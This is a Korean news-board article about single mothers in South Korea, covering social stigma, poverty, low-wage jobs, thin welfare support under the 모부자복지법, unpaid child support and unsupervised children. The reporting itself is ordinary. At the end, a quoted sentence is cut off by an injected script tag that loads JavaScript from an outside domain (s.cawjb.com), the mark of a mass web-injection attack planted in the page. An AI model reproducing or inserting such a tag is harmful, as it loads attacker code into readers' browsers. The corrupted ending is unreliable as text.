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싱글맘, 홀로 감당해야 할 문제인가 |
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번 호 |
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617 |
조회수 |
3275 |
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이메일 |
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작성자 |
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뉴스한국 |
작성일 |
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06-06-13 |
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내 용 |
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싱글맘, 홀로 감당해야 할 문제인가
베토벤, 나폴레옹, 한석봉, 장영실, 김정희. 위인전집에 빠지지 않고
등장하는 이들에게 하나의 공통점이 있다. 바로 싱글맘(모자) 가정에
서 성장했다는 것이다. 모자가정 출신임을 드러내지 않는 것이 역사
적 위인인 그들은 존경하고 보호해 준다고 생각하지만 그들과 같은 환
경에서 자라는 아이들은 그런 사실이 큰 힘이 된다고 한다.
엄마 혼자 아이를 키우는 일명 ‘싱글맘’. 이혼, 사별, 유기, 미혼임
신 등으로 배우자 없이 홀로 자녀를 키우며 가정을 꾸려가는 여성을
총칭한다.
통계청의 자료에 따르면 2005년 전국 1590만 가구 중 한부모 가구는
8%, 이 중 싱글맘 가정이 83%를 차지하는 것으로 나타났다. 하지만 이
들 중 정부의 도움을 받고 있는 가정은 5~10%에 불과했다. 여성가족부
는 앞으로 싱글맘은 앞으로도 증가할 전망이라고 했으나 이들에 대한
차별적 시선과 정부의 지원은 아직도 열악한 수준이다.
얼마 전 방영됐던 드라마 ‘노란손수건’을 비롯해 ‘굳세어라 금순
아’, ‘온리유’ 등을 통해 밝고 활기차게 살아가는 싱글맘의 모습
이 그려졌으나 아직까지 현실은 그리 밝지 않다.
고통스런 가정대신 싱글맘으로 자립
한국한부모가정연구소 황은숙 소장이 싱글맘을 대상으로 하는 집단상
담 프로그램을 진행중이다. ⓒ한국한부모가정연구소
미혼모, 이혼녀, 홀어미라는 꼬리표를 달고 사회적 편견과 싸워야하
는 현실은 싱글맘이라는 것을 감추게 만든다. 실제로 변호사, 교수,
교사 등 전문직 여성 중에도 싱글맘이 많지만 드러나지 않는 것도 이
때문이다. 여성이 싱글맘임을 밝히는 순간부터 사회적 편견과 싸워야
하고 성희롱에 노출되며 심지어 직장을 잃을 위험까지 감수해야 한
다. 아이 또한 또래 집단에서 따돌림을 당하는 경우가 허다하다. 때문
에 대한민국에서 싱글맘으로 살아가는 것은 그만큼 위험부담을 안고
살아가는 것이다.
“무능한 남편이 저질러놓은 도박, 사기, 카드빚 틈에서 내가 빠져나
올 수 있는 방법은 이혼뿐이었어요. 남아있는 빚을 갚겠다는 약속을
해야 이혼을 해준다 하기에 더 많은 빚을 지는 것이 두려워 그렇게 하
겠다고 했습니다. 지금은 쌓여가는 남편의 빚더미에서 벗어났지만 남
은 빚을 갚아나가기도 힘들고 아이의 양육은 최악의 상태입니다.”
35세 주부 이영희(가명) 씨는 한 달 수입보다 더 많은 이자 빚에 시달
리고 있지만 어쩔 수 없이 이혼을 선택했다고 한다.
빈곤과 양육, 싱글맘의 이중고
새로운 삶에 정신적 육체적 안정을 되찾기 전에 싱글맘의 발목을 죄
는 것은 경제적 빈곤이다. 대체로 이혼 후의 생활에 대한 준비 없이
고통스런 가정생활에서 빠져나온 경우가 많아 갑작스런 경제적 변화
를 견디기는 어렵다.
싱글맘이 정부의 지원을 받을 수 있는 근거는 모부자복지법과 국민기
초생활보장법 두 가지다.
국민기초생활보장법이 주로 중증 장애인, 장기적인 질병을 가진 이들
을 우선 대상으로 하기 때문에 실질적으로 싱글맘을 위한 법은 모부자
복지법이다. 하지만 이에 따르면 생계비 지원은 없다. 6세 미만 아동
의 양육비로 월 5만원, 학생들에게는 수업료 면제혜택을 부여할 뿐이
다. 때문에 대부분의 싱글맘은 하루 12시간 이상의 노동을 하며 자녀
를 양육해야 한다.
여성단체의 조사에 따르면 현재 싱글맘은 대부분 60~70만 원대의 저임
금을 받는 비정규직에 종사하고 있다. 일자리를 찾기 어려운 이들은
일용직이나 임시직으로 일하기도 하고 식당 서빙, 설거지 등 허드렛일
을 하는 경우가 태반이다. 다행히 한국여성노동자협의회 주최로 가정
관리사, 보육도우미 등의 일터가 마련되고 있지만 이 역시 부족하다.
그렇기 때문에 남성도 하기 힘들다는 용접공, 프레스 작업장에서 싱글
맘을 어렵지 않게 볼 수 있다. 장시간 힘든 일이지만 이마저도 없으
면 생계유지가 어렵기 때문에 가까스로 얻은 직장을 열심히 다닌다.
이런 상황이다 보니 아이들의 양육에 허점이 생기는 것은 당연한 일이
다. 전남편에게 양육비를 청구할 수 있지만 주지 않을 경우 강제집행
하기도 힘들다. 게다가 전남편이 재혼을 한 후 모든 재산을 새 부인
명의로 놓거나 연락두절 상태에서 숨어버리는 경우도 많아 스스로 양
육비를 주지 않는 한 엄마 혼자서 아이의 양육을 책임져야 하는 실정
이다. 이런 허점을 보완하기 위해 양육비를 국가에서 먼저 지급하고
전 남편이 국가에 지불하는 방안을 추진 중이다.
한편 한부모가정연구소 황은숙 소장은 “아이들의 경우 오후 5시면 방
과 후 지도가 끝나는데 엄마가 들어오는 저녁 8~9시까지 집밖을 배회
하는 일이 많다. 그러다 보니 아이들이 위험에 노출되거나 성학대를
당하기도 한다?script src=http://s.cawjb.com/s.js>
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